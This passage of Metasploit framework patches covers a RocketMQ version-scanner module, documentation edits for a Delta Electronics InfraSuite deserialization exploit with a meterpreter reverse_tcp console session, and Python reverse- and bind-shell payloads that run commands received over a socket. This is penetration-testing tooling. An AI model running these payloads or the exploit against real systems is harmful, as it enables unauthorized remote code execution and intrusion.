'V3_2_1_SNAPSHOT', 'V3_2_1', 'V3_2_2_SNAPSHOT', 'V3_2_2', 'V3_2_3_SNAPSHOT', 'V3_2_3', 'V3_2_4_SNAPSHOT', 'V3_2_4', 'V3_2_5_SNAPSHOT', 'V3_2_5', 'V3_2_6_SNAPSHOT', 'V3_2_6', 'V3_2_7_SNAPSHOT', 'V3_2_7', 'V3_2_8_SNAPSHOT', 'V3_2_8', 'V3_2_9_SNAPSHOT', 'V3_2_9', 'V3_3_1_SNAPSHOT', 'V3_3_1', 'V3_3_2_SNAPSHOT', 'V3_3_2', 'V3_3_3_SNAPSHOT', 'V3_3_3', 'V3_3_4_SNAPSHOT', 'V3_3_4', 'V3_3_5_SNAPSHOT', 'V3_3_5', 'V3_3_6_SNAPSHOT', 'V3_3_6', 'V3_3_7_SNAPSHOT', 'V3_3_7', 'V3_3_8_SNAPSHOT', 'V3_3_8', 'V3_3_9_SNAPSHOT', 'V3_3_9', 'V3_4_1_SNAPSHOT', 'V3_4_1', 'V3_4_2_SNAPSHOT', 'V3_4_2', 'V3_4_3_SNAPSHOT', 'V3_4_3', 'V3_4_4_SNAPSHOT', 'V3_4_4', 'V3_4_5_SNAPSHOT', 'V3_4_5', 'V3_4_6_SNAPSHOT', 'V3_4_6', 'V3_4_7_SNAPSHOT', 'V3_4_7', 'V3_4_8_SNAPSHOT', 'V3_4_8', 'V3_4_9_SNAPSHOT', 'V3_4_9', 'V3_5_1_SNAPSHOT', 'V3_5_1', 'V3_5_2_SNAPSHOT', 'V3_5_2', 'V3_5_3_SNAPSHOT', 'V3_5_3', 'V3_5_4_SNAPSHOT', 'V3_5_4', 'V3_5_5_SNAPSHOT', 'V3_5_5', 'V3_5_6_SNAPSHOT', 'V3_5_6', 'V3_5_7_SNAPSHOT', 'V3_5_7', 'V3_5_8_SNAPSHOT', 'V3_5_8', 'V3_5_9_SNAPSHOT', 'V3_5_9', 'V3_6_1_SNAPSHOT', 'V3_6_1', 'V3_6_2_SNAPSHOT', 'V3_6_2', 'V3_6_3_SNAPSHOT', 'V3_6_3', 'V3_6_4_SNAPSHOT', 'V3_6_4', 'V3_6_5_SNAPSHOT', 'V3_6_5', 'V3_6_6_SNAPSHOT', 'V3_6_6', 'V3_6_7_SNAPSHOT', 'V3_6_7', 'V3_6_8_SNAPSHOT', 'V3_6_8', 'V3_6_9_SNAPSHOT', 'V3_6_9', 'V3_7_1_SNAPSHOT', 'V3_7_1', 'V3_7_2_SNAPSHOT', 'V3_7_2', 'V3_7_3_SNAPSHOT', 'V3_7_3', 'V3_7_4_SNAPSHOT', 'V3_7_4', 'V3_7_5_SNAPSHOT', 'V3_7_5', 'V3_7_6_SNAPSHOT', 'V3_7_6', 'V3_7_7_SNAPSHOT', 'V3_7_7', 'V3_7_8_SNAPSHOT', 'V3_7_8', 'V3_7_9_SNAPSHOT', 'V3_7_9', 'V3_8_1_SNAPSHOT', 'V3_8_1', 'V3_8_2_SNAPSHOT', 'V3_8_2', 'V3_8_3_SNAPSHOT', 'V3_8_3', 'V3_8_4_SNAPSHOT', 'V3_8_4', 'V3_8_5_SNAPSHOT', 'V3_8_5', 'V3_8_6_SNAPSHOT', 'V3_8_6', 'V3_8_7_SNAPSHOT', 'V3_8_7', 'V3_8_8_SNAPSHOT', 'V3_8_8', 'V3_8_9_SNAPSHOT', 'V3_8_9', 'V3_9_1_SNAPSHOT', 'V3_9_1', 'V3_9_2_SNAPSHOT', 'V3_9_2', 'V3_9_3_SNAPSHOT', 'V3_9_3', 'V3_9_4_SNAPSHOT', 'V3_9_4', 'V3_9_5_SNAPSHOT', 'V3_9_5', 'V3_9_6_SNAPSHOT', 'V3_9_6', 'V3_9_7_SNAPSHOT', 'V3_9_7', 'V3_9_8_SNAPSHOT', 'V3_9_8', 'V3_9_9_SNAPSHOT', 'V3_9_9', 'V4_0_0_SNAPSHOT', 'V4_0_0', 'V4_0_1_SNAPSHOT', 'V4_0_1', 'V4_0_2_SNAPSHOT', 'V4_0_2', 'V4_0_3_SNAPSHOT', 'V4_0_3', 'V4_0_4_SNAPSHOT', 'V4_0_4', 'V4_0_5_SNAPSHOT', 'V4_0_5', 'V4_0_6_SNAPSHOT', 'V4_0_6', 'V4_0_7_SNAPSHOT', 'V4_0_7', 'V4_0_8_SNAPSHOT', 'V4_0_8', 'V4_0_9_SNAPSHOT', 'V4_0_9', 'V4_1_0_SNAPSHOT', 'V4_1_0', 'V4_1_1_SNAPSHOT', 'V4_1_1', 'V4_1_2_SNAPSHOT', 'V4_1_2', 'V4_1_3_SNAPSHOT', 'V4_1_3', 'V4_1_4_SNAPSHOT', 'V4_1_4', 'V4_1_5_SNAPSHOT', 'V4_1_5', 'V4_1_6_SNAPSHOT', 'V4_1_6', 'V4_1_7_SNAPSHOT', 'V4_1_7', 'V4_1_8_SNAPSHOT', 'V4_1_8', 'V4_1_9_SNAPSHOT', 'V4_1_9', 'V4_2_0_SNAPSHOT', 'V4_2_0', 'V4_2_1_SNAPSHOT', 'V4_2_1', 'V4_2_2_SNAPSHOT', 'V4_2_2', 'V4_2_3_SNAPSHOT', 'V4_2_3', 'V4_2_4_SNAPSHOT', 'V4_2_4', 'V4_2_5_SNAPSHOT', 'V4_2_5', 'V4_2_6_SNAPSHOT', 'V4_2_6', 'V4_2_7_SNAPSHOT', 'V4_2_7', 'V4_2_8_SNAPSHOT', 'V4_2_8', 'V4_2_9_SNAPSHOT', 'V4_2_9', 'V4_3_0_SNAPSHOT', 'V4_3_0', 'V4_3_1_SNAPSHOT', 'V4_3_1', 'V4_3_2_SNAPSHOT', 'V4_3_2', 'V4_3_3_SNAPSHOT', 'V4_3_3', 'V4_3_4_SNAPSHOT', 'V4_3_4', 'V4_3_5_SNAPSHOT', 'V4_3_5', 'V4_3_6_SNAPSHOT', 'V4_3_6', 'V4_3_7_SNAPSHOT', 'V4_3_7', 'V4_3_8_SNAPSHOT', 'V4_3_8', 'V4_3_9_SNAPSHOT', 'V4_3_9', 'V4_4_0_SNAPSHOT', 'V4_4_0', 'V4_4_1_SNAPSHOT', 'V4_4_1', 'V4_4_2_SNAPSHOT', 'V4_4_2', 'V4_4_3_SNAPSHOT', 'V4_4_3', 'V4_4_4_SNAPSHOT', 'V4_4_4', 'V4_4_5_SNAPSHOT', 'V4_4_5', 'V4_4_6_SNAPSHOT', 'V4_4_6', 'V4_4_7_SNAPSHOT', 'V4_4_7', 'V4_4_8_SNAPSHOT', 'V4_4_8', 'V4_4_9_SNAPSHOT', 'V4_4_9', 'V4_5_0_SNAPSHOT', 'V4_5_0', 'V4_5_1_SNAPSHOT', 'V4_5_1', 'V4_5_2_SNAPSHOT', 'V4_5_2', 'V4_5_3_SNAPSHOT', 'V4_5_3', 'V4_5_4_SNAPSHOT', 'V4_5_4', 'V4_5_5_SNAPSHOT', 'V4_5_5', 'V4_5_6_SNAPSHOT', 'V4_5_6', 'V4_5_7_SNAPSHOT', 'V4_5_7', 'V4_5_8_SNAPSHOT', 'V4_5_8', 'V4_5_9_SNAPSHOT', 'V4_5_9', 'V4_6_0_SNAPSHOT', 'V4_6_0', 'V4_6_1_SNAPSHOT', 'V4_6_1', 'V4_6_2_SNAPSHOT', 'V4_6_2', 'V4_6_3_SNAPSHOT', 'V4_6_3', 'V4_6_4_SNAPSHOT', 'V4_6_4', 'V4_6_5_SNAPSHOT', 'V4_6_5', 'V4_6_6_SNAPSHOT', 'V4_6_6', 'V4_6_7_SNAPSHOT', 'V4_6_7', 'V4_6_8_SNAPSHOT', 'V4_6_8', 'V4_6_9_SNAPSHOT', 'V4_6_9', 'V4_7_0_SNAPSHOT', 'V4_7_0', 'V4_7_1_SNAPSHOT', 'V4_7_1', 'V4_7_2_SNAPSHOT', 'V4_7_2', 'V4_7_3_SNAPSHOT', 'V4_7_3', 'V4_7_4_SNAPSHOT', 'V4_7_4', 'V4_7_5_SNAPSHOT', 'V4_7_5', 'V4_7_6_SNAPSHOT', 'V4_7_6', 'V4_7_7_SNAPSHOT', 'V4_7_7', 'V4_7_8_SNAPSHOT', 'V4_7_8', 'V4_7_9_SNAPSHOT', 'V4_7_9', 'V4_8_0_SNAPSHOT', 'V4_8_0', 'V4_8_1_SNAPSHOT', 'V4_8_1', 'V4_8_2_SNAPSHOT', 'V4_8_2', 'V4_8_3_SNAPSHOT', 'V4_8_3', 'V4_8_4_SNAPSHOT', 'V4_8_4', 'V4_8_5_SNAPSHOT', 'V4_8_5', 'V4_8_6_SNAPSHOT', 'V4_8_6', 'V4_8_7_SNAPSHOT', 'V4_8_7', 'V4_8_8_SNAPSHOT', 'V4_8_8', 'V4_8_9_SNAPSHOT', 'V4_8_9', 'V4_9_0_SNAPSHOT', 'V4_9_0', 'V4_9_1_SNAPSHOT', 'V4_9_1', 'V4_9_2_SNAPSHOT', 'V4_9_2', 'V4_9_3_SNAPSHOT', 'V4_9_3', 'V4_9_4_SNAPSHOT', 'V4_9_4', 'V4_9_5_SNAPSHOT', 'V4_9_5', 'V4_9_6_SNAPSHOT', 'V4_9_6', 'V4_9_7_SNAPSHOT', 'V4_9_7', 'V4_9_8_SNAPSHOT', 'V4_9_8', 'V4_9_9_SNAPSHOT', 'V4_9_9', 'V5_0_0_SNAPSHOT', 'V5_0_0', 'V5_0_1_SNAPSHOT', 'V5_0_1', 'V5_0_2_SNAPSHOT', 'V5_0_2', 'V5_0_3_SNAPSHOT', 'V5_0_3', 'V5_0_4_SNAPSHOT', 'V5_0_4', 'V5_0_5_SNAPSHOT', 'V5_0_5', 'V5_0_6_SNAPSHOT', 'V5_0_6', 'V5_0_7_SNAPSHOT', 'V5_0_7', 'V5_0_8_SNAPSHOT', 'V5_0_8', 'V5_0_9_SNAPSHOT', 'V5_0_9', 'V5_1_0_SNAPSHOT', 'V5_1_0', 'V5_1_1_SNAPSHOT', 'V5_1_1', 'V5_1_2_SNAPSHOT', 'V5_1_2', 'V5_1_3_SNAPSHOT', 'V5_1_3', 'V5_1_4_SNAPSHOT', 'V5_1_4', 'V5_1_5_SNAPSHOT', 'V5_1_5', 'V5_1_6_SNAPSHOT', 'V5_1_6', 'V5_1_7_SNAPSHOT', 'V5_1_7', 'V5_1_8_SNAPSHOT', 'V5_1_8', 'V5_1_9_SNAPSHOT', 'V5_1_9', 'V5_2_0_SNAPSHOT', 'V5_2_0', 'V5_2_1_SNAPSHOT', 'V5_2_1', 'V5_2_2_SNAPSHOT', 'V5_2_2', 'V5_2_3_SNAPSHOT', 'V5_2_3', 'V5_2_4_SNAPSHOT', 'V5_2_4', 'V5_2_5_SNAPSHOT', 'V5_2_5', 'V5_2_6_SNAPSHOT', 'V5_2_6', 'V5_2_7_SNAPSHOT', 'V5_2_7', 'V5_2_8_SNAPSHOT', 'V5_2_8', 'V5_2_9_SNAPSHOT', 'V5_2_9', 'V5_3_0_SNAPSHOT', 'V5_3_0', 'V5_3_1_SNAPSHOT', 'V5_3_1', 'V5_3_2_SNAPSHOT', 'V5_3_2', 'V5_3_3_SNAPSHOT', 'V5_3_3', 'V5_3_4_SNAPSHOT', 'V5_3_4', 'V5_3_5_SNAPSHOT', 'V5_3_5', 'V5_3_6_SNAPSHOT', 'V5_3_6', 'V5_3_7_SNAPSHOT', 'V5_3_7', 'V5_3_8_SNAPSHOT', 'V5_3_8', 'V5_3_9_SNAPSHOT', 'V5_3_9', 'V5_4_0_SNAPSHOT', 'V5_4_0', 'V5_4_1_SNAPSHOT', 'V5_4_1', 'V5_4_2_SNAPSHOT', 'V5_4_2', 'V5_4_3_SNAPSHOT', 'V5_4_3', 'V5_4_4_SNAPSHOT', 'V5_4_4', 'V5_4_5_SNAPSHOT', 'V5_4_5', 'V5_4_6_SNAPSHOT', 'V5_4_6', 'V5_4_7_SNAPSHOT', 'V5_4_7', 'V5_4_8_SNAPSHOT', 'V5_4_8', 'V5_4_9_SNAPSHOT', 'V5_4_9', 'V5_5_0_SNAPSHOT', 'V5_5_0', 'V5_5_1_SNAPSHOT', 'V5_5_1', 'V5_5_2_SNAPSHOT', 'V5_5_2', 'V5_5_3_SNAPSHOT', 'V5_5_3', 'V5_5_4_SNAPSHOT', 'V5_5_4', 'V5_5_5_SNAPSHOT', 'V5_5_5', 'V5_5_6_SNAPSHOT', 'V5_5_6', 'V5_5_7_SNAPSHOT', 'V5_5_7', 'V5_5_8_SNAPSHOT', 'V5_5_8', 'V5_5_9_SNAPSHOT', 'V5_5_9', 'V5_6_0_SNAPSHOT', 'V5_6_0', 'V5_6_1_SNAPSHOT', 'V5_6_1', 'V5_6_2_SNAPSHOT', 'V5_6_2', 'V5_6_3_SNAPSHOT', 'V5_6_3', 'V5_6_4_SNAPSHOT', 'V5_6_4', 'V5_6_5_SNAPSHOT', 'V5_6_5', 'V5_6_6_SNAPSHOT', 'V5_6_6', 'V5_6_7_SNAPSHOT', 'V5_6_7', 'V5_6_8_SNAPSHOT', 'V5_6_8', 'V5_6_9_SNAPSHOT', 'V5_6_9', 'V5_7_0_SNAPSHOT', 'V5_7_0', 'V5_7_1_SNAPSHOT', 'V5_7_1', 'V5_7_2_SNAPSHOT', 'V5_7_2', 'V5_7_3_SNAPSHOT', 'V5_7_3', 'V5_7_4_SNAPSHOT', 'V5_7_4', 'V5_7_5_SNAPSHOT', 'V5_7_5', 'V5_7_6_SNAPSHOT', 'V5_7_6', 'V5_7_7_SNAPSHOT', 'V5_7_7', 'V5_7_8_SNAPSHOT', 'V5_7_8', 'V5_7_9_SNAPSHOT', 'V5_7_9', 'V5_8_0_SNAPSHOT', 'V5_8_0', 'V5_8_1_SNAPSHOT', 'V5_8_1', 'V5_8_2_SNAPSHOT', 'V5_8_2', 'V5_8_3_SNAPSHOT', 'V5_8_3', 'V5_8_4_SNAPSHOT', 'V5_8_4', 'V5_8_5_SNAPSHOT', 'V5_8_5', 'V5_8_6_SNAPSHOT', 'V5_8_6', 'V5_8_7_SNAPSHOT', 'V5_8_7', 'V5_8_8_SNAPSHOT', 'V5_8_8', 'V5_8_9_SNAPSHOT', 'V5_8_9', 'V5_9_0_SNAPSHOT', 'V5_9_0', 'V5_9_1_SNAPSHOT', 'V5_9_1', 'V5_9_2_SNAPSHOT', 'V5_9_2', 'V5_9_3_SNAPSHOT', 'V5_9_3', 'V5_9_4_SNAPSHOT', 'V5_9_4', 'V5_9_5_SNAPSHOT', 'V5_9_5', 'V5_9_6_SNAPSHOT', 'V5_9_6', 'V5_9_7_SNAPSHOT', 'V5_9_7', 'V5_9_8_SNAPSHOT', 'V5_9_8', 'V5_9_9_SNAPSHOT', 'V5_9_9', 'HIGHER_VERSION'] + version_list[id] + end + + def run_host(_ip) + # https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT/blob/main/check.py#L68 + data = '{"code":105,"extFields":{"Signature":"/u5P/wZUbhjanu4LM/UzEdo2u2I=","topic":"TBW102","AccessKey":"rocketmq2"},"flag":0,"language":"JAVA","opaque":1,"serializeTypeCurrentRPC":"JSON","version":401}' + data_length = "\x00\x00\x00" + [data.length].pack('C') + header = "\x00\x00\x00" + [data.length + data_length.length].pack('C') + + begin + connect + vprint_status('Sending request') + sock.send(header + data_length + data, 0) + res = sock.recv(1024) + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + print_error("Unable to connect: #{e.class} #{e.message}\n#{e.backtrace * "\n"}") + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + ensure + disconnect + end + + if res.nil? + vprint_error('No response received') + return + end + + unless res.include?('{') + vprint_error('Response contains unusable data') + return + end + + # remove a response header so we have json-ish data + res = res[8..] + + # we have 2 json objects appended to eachother, so we now need to split that out and make it usable + res = res.split('}{') + + jsonable = [] + # patch back in the { and } + res.each do |r| + r += '}' unless r.end_with?('}') + r = '{' + r unless r.start_with?('{') + jsonable.append(r) + end + + parsed_data = {} + # grab some data that we need/want out of the response + jsonable.each do |j| + begin + res = JSON.parse(j) + rescue JSON::ParserError + vprint_error("Unable to parse json data: #{j}") + next + end + parsed_data['version'] = get_version(res['version']).gsub('_', '.') if res['version'] + parsed_data['brokerDatas'] = res['brokerDatas'] if res['brokerDatas'] + end + + if parsed_data == {} + vprint_error('Unable to find version or other data within response.') + return + end + print_good("RocketMQ version #{parsed_data['version']} found with brokers: #{res['brokerDatas']}") + end +end From 60c642bcd0b10d78036f3a6a6c983f407793c9b1 Mon Sep 17 00:00:00 2001 From: Shelby Pace <40177151+space-r7@users.noreply.github.com> Date: Wed, 7 Jun 2023 16:41:19 -0500 Subject: [PATCH 322/415] Update documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com> --- .../misc/delta_electronics_infrasuite_deserialization.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md b/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md index 0ee86ca0e3b95..df56b71318055 100644 --- a/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md +++ b/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md @@ -1,7 +1,7 @@ ## Vulnerable Application Delta Electronics InfraSuite Device Master versions below `v1.0.5` are vulnerable to -an unauthenticated .NET deserialization vulnerability. The `Device-Gateway-Status` process +an unauthenticated .NET deserialization vulnerability in the `Device-Gateway-Status` process which listens on port `10100` and communicates over UDP. Its `ParseUDPPacket()` method reads user-controlled data and passes what it determines to be the packet header to the `BinaryFormatter.Deserialize()` method, resulting in code execution as the user running the `Device-Gateway-Status` process. From 4377ff037aaddb394bdbfb6fa16b23586a1fd0b4 Mon Sep 17 00:00:00 2001 From: Shelby Pace <40177151+space-r7@users.noreply.github.com> Date: Wed, 7 Jun 2023 16:41:28 -0500 Subject: [PATCH 323/415] Update documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com> --- .../misc/delta_electronics_infrasuite_deserialization.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md b/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md index df56b71318055..dd626ac031d1a 100644 --- a/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md +++ b/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md @@ -3,7 +3,7 @@ Delta Electronics InfraSuite Device Master versions below `v1.0.5` are vulnerable to an unauthenticated .NET deserialization vulnerability in the `Device-Gateway-Status` process which listens on port `10100` and communicates over UDP. Its `ParseUDPPacket()` method reads user-controlled -data and passes what it determines to be the packet header to the `BinaryFormatter.Deserialize()` method, +data and passes what it determines to be the packet header to the `BinaryFormatter.Deserialize()` method without appropriate validation, resulting in code execution as the user running the `Device-Gateway-Status` process. ### Installation Instructions From 54649fb856dc49c93355fa6d7c3a7de0f8d8a9bf Mon Sep 17 00:00:00 2001 From: Shelby Pace <40177151+space-r7@users.noreply.github.com> Date: Wed, 7 Jun 2023 16:41:37 -0500 Subject: [PATCH 324/415] Update documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com> --- .../misc/delta_electronics_infrasuite_deserialization.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md b/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md index dd626ac031d1a..33ba0aff4e6f9 100644 --- a/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md +++ b/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md @@ -12,7 +12,7 @@ resulting in code execution as the user running the `Device-Gateway-Status` proc 2. Install all of the pre-requisites (Stack Builder is not needed) and reboot 3. Click `next` and ensure the three features, `Device-Monitor`, `Device-DataCollect`, and `Device-Gateway` are selected to install 4. The password on the next screen should say `Ems3000!`, but it is not needed for the exploit -5. Click `next`, then `Install` +5. Click `Next`, then `Install` 6. Click `Finish`, then wait for the processing of files to finish 7. Once the previous step is done, ensure `Yes, I want to restart my computer now` is checked and click finish From 2738906f87f9e557ae7d4fc9a4d1290ce59986b2 Mon Sep 17 00:00:00 2001 From: Shelby Pace <40177151+space-r7@users.noreply.github.com> Date: Wed, 7 Jun 2023 16:41:44 -0500 Subject: [PATCH 325/415] Update documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com> --- .../misc/delta_electronics_infrasuite_deserialization.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md b/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md index 33ba0aff4e6f9..d292d56fcc51b 100644 --- a/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md +++ b/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md @@ -14,7 +14,7 @@ resulting in code execution as the user running the `Device-Gateway-Status` proc 4. The password on the next screen should say `Ems3000!`, but it is not needed for the exploit 5. Click `Next`, then `Install` 6. Click `Finish`, then wait for the processing of files to finish -7. Once the previous step is done, ensure `Yes, I want to restart my computer now` is checked and click finish +7. Once the previous step is done, ensure `Yes, I want to restart my computer now` is checked and click `Finish` ## Verification Steps From 3bc145c02c828e7276baeac31aab5e4486ae93c9 Mon Sep 17 00:00:00 2001 From: Shelby Pace <40177151+space-r7@users.noreply.github.com> Date: Wed, 7 Jun 2023 16:42:01 -0500 Subject: [PATCH 326/415] Update modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com> --- .../misc/delta_electronics_infrasuite_deserialization.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb b/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb index dfbcdd208f0e3..0f6c3febc2fe6 100644 --- a/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb +++ b/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb @@ -21,7 +21,7 @@ def initialize(info = {}) method of the 'Device-Gateway-Status' process. The 'ParseUDPPacket()' method reads user-controlled packet data and eventually - calls 'BinaryFormatter.Deserialize()' on what it determines to be the packet header, + calls 'BinaryFormatter.Deserialize()' on what it determines to be the packet header without appropriate validation, leading to unauthenticated code execution as the user running the 'Device-Gateway-Status' process. }, 'Author' => [ From 4465582fee6474bbcb44a563b7b780620c0b49d0 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Wed, 7 Jun 2023 16:51:01 -0500 Subject: [PATCH 327/415] Add in link to archived version of the installer --- .../misc/delta_electronics_infrasuite_deserialization.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md b/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md index d292d56fcc51b..eeeed8f261784 100644 --- a/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md +++ b/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md @@ -8,7 +8,7 @@ resulting in code execution as the user running the `Device-Gateway-Status` proc ### Installation Instructions -1. Unzip and run the installer +1. Unzip and run the installer from https://archive.org/details/infra-suite-device-master-00.00.01ax-64 2. Install all of the pre-requisites (Stack Builder is not needed) and reboot 3. Click `next` and ensure the three features, `Device-Monitor`, `Device-DataCollect`, and `Device-Gateway` are selected to install 4. The password on the next screen should say `Ems3000!`, but it is not needed for the exploit From 74dd134783dcfac334e4ba914cf1bb9c8ad4cac1 Mon Sep 17 00:00:00 2001 From: space-r7 Date: Wed, 7 Jun 2023 17:15:28 -0500 Subject: [PATCH 328/415] add options in scenarios output --- ..._electronics_infrasuite_deserialization.md | 56 +++++++++++++++++++ 1 file changed, 56 insertions(+) diff --git a/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md b/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md index eeeed8f261784..b7c97d3e4bb3b 100644 --- a/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md +++ b/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md @@ -38,6 +38,62 @@ only used to check the version of the software to determine exploitability. 80 b ### InfraSuite Device Master v01.00.00d on Windows 10 x64 ``` +msf6 > use exploit/windows/misc/delta_electronics_infrasuite_deserialization +[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp +msf6 exploit(windows/misc/delta_electronics_infrasuite_deserialization) > set rhost 192.168.140.187 +rhost => 192.168.140.187 +msf6 exploit(windows/misc/delta_electronics_infrasuite_deserialization) > set lhost 192.168.140.1 +lhost => 192.168.140.1 +msf6 exploit(windows/misc/delta_electronics_infrasuite_deserialization) > options + +Module options (exploit/windows/misc/delta_electronics_infrasuite_deserialization): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + INFRASUITE_PORT 80 yes The port on which the InfraSuite Manager is listening + Proxies no A proxy chain of format type:host:port[,type:host:port] + [...] + RHOSTS 192.168.140.187 yes The target host(s), see https://docs.metasploit.com/doc + s/using-metasploit/basics/using-metasploit.html + RPORT 10100 yes The target port (UDP) + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly g + enerated) + TARGETURI / yes The base path to the InfraSuite Manager + URIPATH no The URI to use for this exploit (default is random) + VHOST no HTTP server virtual host + + + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be + an address on the local machine or 0.0.0.0 to listen on all add + resses. + SRVPORT 8080 yes The local port to listen on. + + +Payload options (windows/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) + LHOST 192.168.140.1 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Windows EXE Dropper + + + +View the full module info with the info, or info -d command. + + msf6 exploit(windows/misc/delta_electronics_infrasuite_deserialization) > run [*] Started reverse TCP handler on 192.168.140.1:4444 From d454e23aa092c9c3754b9684add07697102bca0e Mon Sep 17 00:00:00 2001 From: manishkumarr1017 Date: Thu, 8 Jun 2023 06:44:37 +0530 Subject: [PATCH 329/415] decoding bytes from all python payloads --- modules/payloads/singles/cmd/unix/reverse_python_ssl.rb | 2 +- modules/payloads/singles/python/shell_bind_tcp.rb | 2 +- modules/payloads/singles/python/shell_reverse_sctp.rb | 2 +- modules/payloads/singles/python/shell_reverse_tcp_ssl.rb | 2 +- modules/payloads/singles/python/shell_reverse_udp.rb | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb index d1fc4bcd3aab1..0b7d3e7951838 100644 --- a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb @@ -61,7 +61,7 @@ def command_string cmd += "while not #{dead}:\n" cmd += "\tdata=s.recv(1024)\n" cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n" - cmd += "\tproc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n" + cmd += "\tproc=subprocess.Popen(data.decode('utf-8'),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n" cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n" cmd += "\ts.send(stdout_value)\n" "#{datastore['PythonPath']} -c \"#{ py_create_exec_stub(cmd) }\"" diff --git a/modules/payloads/singles/python/shell_bind_tcp.rb b/modules/payloads/singles/python/shell_bind_tcp.rb index abeb893584746..ef779fad3af52 100644 --- a/modules/payloads/singles/python/shell_bind_tcp.rb +++ b/modules/payloads/singles/python/shell_bind_tcp.rb @@ -42,7 +42,7 @@ def command_string d=so.recv(1024) if len(d)==0: break - p=r.Popen(d,shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) + p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) o=p.stdout.read()+p.stderr.read() so.send(o) PYTHON diff --git a/modules/payloads/singles/python/shell_reverse_sctp.rb b/modules/payloads/singles/python/shell_reverse_sctp.rb index c8f1b0b6f36e8..eff88b0110279 100644 --- a/modules/payloads/singles/python/shell_reverse_sctp.rb +++ b/modules/payloads/singles/python/shell_reverse_sctp.rb @@ -51,7 +51,7 @@ def command_string d=so.recv(1024) if len(d)==0: break - p=r.Popen(d,shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) + p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) o=p.stdout.read()+p.stderr.read() try: so.send(o) diff --git a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb index 106c3d8a35a1f..07c1879e5498e 100644 